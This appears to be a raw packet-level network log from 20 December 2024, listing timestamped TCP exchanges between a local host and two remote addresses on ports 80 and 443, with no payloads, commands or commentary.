Dec 20, 2024 07:12:30.917150974 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:30.917161942 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:30.917196035 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:30.918292999 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:30.918418884 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:30.918464899 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:30.919502974 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:30.919631958 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:30.919678926 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:30.920645952 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:30.920692921 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:30.920777082 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:30.921518087 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:30.921821117 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:30.921870947 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:30.921933889 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:30.921977997 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:30.923032045 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:30.923077106 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:30.923168898 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:30.923214912 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:30.924299002 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:30.924345970 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:30.924352884 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:30.924397945 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:30.925393105 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:30.925440073 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:30.925503969 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:30.926559925 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:30.926606894 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:30.926683903 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:30.927757978 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:30.927804947 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:30.927874088 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:30.927916050 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:30.928988934 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:30.929100037 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:30.929146051 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:30.930120945 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:30.930201054 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:30.930244923 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:30.931309938 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:30.931370974 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:30.931427002 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:30.932480097 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:30.932527065 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:30.932791948 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:30.933522940 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:30.933679104 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:30.933798075 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:30.933844090 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:30.934912920 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:30.935185909 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:30.935231924 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:30.936084986 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:30.936136007 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:30.936181068 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:30.937222004 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:30.937267065 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:30.937344074 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:30.937517881 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:30.938416004 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:30.938544035 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:30.938590050 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:30.939595938 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:30.939721107 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:30.939766884 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:30.940813065 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:30.940860033 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:30.940864086 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:30.941521883 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:30.941975117 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:30.942019939 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:30.942097902 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:30.942143917 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:30.943176031 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:30.943218946 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:30.943291903 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:30.943336010 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:30.944365978 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:30.944411039 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:30.944483995 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:30.944528103 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:30.945599079 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:30.945650101 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:30.945693016 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:30.946727991 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:30.946862936 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:30.946907997 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:30.947916031 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:30.947967052 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:30.947987080 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:30.948026896 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:30.949342012 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:30.949526072 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:30.949527025 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:30.949569941 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:30.950283051 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:30.950407028 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:30.950453997 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:30.951459885 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:30.951590061 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:30.951637983 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:30.952636957 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:30.952682972 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:30.952754974 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:30.953524113 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:30.953828096 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:30.953875065 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:30.953938007 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:30.953980923 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:30.955019951 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:30.955068111 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:30.955131054 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:30.955177069 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:30.956263065 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:30.956312895 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:30.997243881 CET	443	49816	172.67.209.202	192.168.2.4
Dec 20, 2024 07:12:30.997498035 CET	443	49816	172.67.209.202	192.168.2.4
Dec 20, 2024 07:12:31.001560926 CET	49816	443	192.168.2.4	172.67.209.202
Dec 20, 2024 07:12:31.006166935 CET	49816	443	192.168.2.4	172.67.209.202
Dec 20, 2024 07:12:31.006201029 CET	443	49816	172.67.209.202	192.168.2.4
Dec 20, 2024 07:12:31.083934069 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:31.083995104 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:31.084006071 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:31.084053040 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:31.084464073 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:31.084516048 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:31.084575891 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:31.084630013 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:31.085619926 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:31.085665941 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:31.085716009 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:31.085782051 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:31.086822033 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:31.086878061 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:31.087009907 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:31.087059021 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:31.087999105 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:31.088048935 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:31.088125944 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:31.088175058 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:31.089180946 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:31.089234114 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:31.089327097 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:31.089376926 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:31.090400934 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:31.090445995 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:31.090467930 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:31.090526104 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:31.094223022 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:31.094381094 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:31.094456911 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:31.094902039 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:31.094954014 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:31.095016003 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:31.095066071 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:31.096016884 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:31.096069098 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:31.096151114 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:31.096198082 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:31.097191095 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:31.097243071 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:31.097305059 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:31.097349882 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:31.098351002 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:31.098403931 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:31.098467112 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:31.098515034 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:31.099538088 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:31.099589109 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:31.099653006 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:31.099703074 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:31.100734949 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:31.100791931 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:31.100853920 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:31.100902081 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:31.101914883 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:31.102027893 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:31.102052927 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:31.102077961 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:31.103080988 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:31.103130102 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:31.103209019 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:31.103257895 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:31.104281902 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:31.104331970 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:31.104332924 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:31.104374886 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:31.105494976 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:31.105546951 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:31.105603933 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:31.105653048 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:31.106641054 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:31.106692076 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:31.106755018 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:31.106806040 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:31.107836962 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:31.107892036 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:31.107947111 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:31.107994080 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:31.109025955 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:31.109088898 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:31.109152079 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:31.109216928 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:31.110320091 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:31.110373974 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:31.110410929 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:31.110459089 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:31.111380100 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:31.111428022 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:31.111490011 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:31.111540079 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:31.112595081 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:31.112652063 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:31.112731934 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:31.112780094 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:31.113746881 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:31.113797903 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:31.113877058 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:31.113924980 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:31.114996910 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:31.115048885 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:31.115050077 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:31.115117073 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:31.116130114 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:31.116182089 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:31.116264105 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:31.116314888 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:31.117295027 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:31.117340088 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:31.117419004 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:31.117593050 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:31.118489027 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:31.118539095 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:31.118668079 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:31.118714094 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:31.119720936 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:31.119772911 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:31.119834900 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:31.120877981 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:31.120970964 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:31.120990038 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:31.121015072 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:31.122045994 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:31.122138977 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:31.122231007 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:31.122296095 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:31.123264074 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:31.123317957 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:31.123408079 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:31.123460054 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:31.124449968 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:31.124505043 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:31.124542952 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:31.124589920 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:31.125638008 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:31.125690937 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:31.125696898 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:31.125921011 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:31.126768112 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:31.126816034 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:31.126899958 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:31.126949072 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:31.127964973 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:31.128011942 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:31.128073931 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:31.128118038 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:31.129153013 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:31.129205942 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:31.129271030 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:31.129319906 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:31.130316973 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:31.130369902 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:31.130448103 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:31.130500078 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:31.131529093 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:31.131581068 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:31.131652117 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:31.131702900 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:31.132721901 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:31.132775068 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:31.132836103 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:31.132915974 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:31.133887053 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:31.133939028 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:31.134006023 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:31.134054899 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:31.135077000 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:31.135190010 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:31.135250092 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:31.136316061 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:31.136367083 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:31.136384010 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:31.136411905 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:31.137433052 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:31.137531996 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:31.137583017 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:31.137628078 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:31.138632059 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:31.138777971 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:31.138834953 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:31.139811039 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:31.139913082 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:31.139966965 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:31.140994072 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:31.141112089 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:31.141174078 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:31.142158985 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:31.142277956 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:31.142342091 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:31.143358946 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:31.143412113 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:31.143420935 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:31.143461943 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:31.144534111 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:31.144593954 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:31.144694090 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:31.144750118 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:31.145703077 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:31.145806074 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:31.145867109 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:31.146930933 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:31.147011042 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:31.147075891 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:31.148083925 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:31.148149014 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:31.275855064 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:31.275914907 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:31.275926113 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:31.276093006 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:31.276150942 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:31.276201010 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:31.276272058 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:31.276330948 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:31.277375937 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:31.277431011 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:31.277514935 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:31.277715921 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:31.278527021 CET	80	49801	31.41.244.11	192.168.2.4
